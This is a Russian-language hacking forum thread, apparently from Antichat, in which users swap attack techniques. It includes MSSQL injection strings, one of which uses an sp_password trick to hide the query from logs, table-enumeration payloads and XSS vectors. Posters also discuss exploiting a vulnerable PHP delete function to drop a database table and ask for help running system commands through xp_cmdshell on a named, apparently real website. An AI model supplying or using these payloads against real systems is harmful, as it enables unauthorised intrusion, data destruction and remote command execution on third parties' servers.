ANTICHAT — форум по информационной безопасности, OSINT и технологиям

попробуй так:
1';CREATE PROC test AS SELECT 1;--sp_password

@Mixon
attr:expression() работает только в IE
background-image: url(javascript:alert()) должно везде работать
http://ha.ckers.org/xss.html

__________________
<? Raz0r.name — блог о web-безопасности

Там опечатка была )) Ну а в целом я так и сделал. И опять такую же ошибку выдает...

Еще одная интересная фишка:
Если выполнить -1+or+1=(select+user)-- то норм проходит.
А если попробовать :
-1+or+1=(SELECT+top+1+table_name+from+information_s chema.tables)--
Выдает:
Incorrect syntax near the keyword 'top'.

Если так:
-1+or+1=(SELECT+table_name+from+information_schema. tables)--
Incorrect syntax near the keyword 'FROM'.

Странно.

З. Ы. Microsoft SQL Server 2000

Спасибо тебе огромное!!! А как интересно этот сайт работает?

помогите немогу подобрать значение!

Обращаюсь к код-хакам:

function del_news($news_id)
{
if ($news_id)
{
//echo("del_news<br>");
$r = mysql_query("SELECT news_icon FROM news WHERE news_id=".$news_id);
$arr = mysql_fetch_array($r);

if ($arr[0]){ del_img($news_id);}
//echo("del_news_id=".$news_id."<br>");
mysql_query("DELETE FROM news WHERE news_id=".$news_id);
}
else echo("Функция del_news(news_id) - не указан news_id.<br>");
}

function del_img($news_id)
{
if ($news_id)
{
//echo("del_img<br>");
$r = mysql_query("SELECT news_icon FROM news WHERE news_id=".$news_id);
$arr = mysql_fetch_array($r);
mysql_query("UPDATE news SET news_icon=NULL WHERE news_id=".$news_id);
unlink("../".img_path.$arr[0]);
}
else echo("Функция del_img(news_id) - не указан news_id.<br>");
}

Если поставить DEL запрос - он прокатит ? Если допустить,что $news_id принимает всё,что угодно. Есть в прайс листе такая кнопка Удалить),и вместо удаления новости я хочу удалить таблицу)).Покатит ? Как это будет выглядеть,я тоже не совсем понимаю =_=

Тут нет инъекции..

а что это по твоему?

Просто раскрытие путей.

Советую почитать FAQ , там написанно, как инъекцию определить..

http://kapstroytelecom.ru/?pid=17'

Это же mssql? Скорее всего через sa настроено, помогите с инъекцией для выполнения cmd через exec master..xp_cmdshell('')...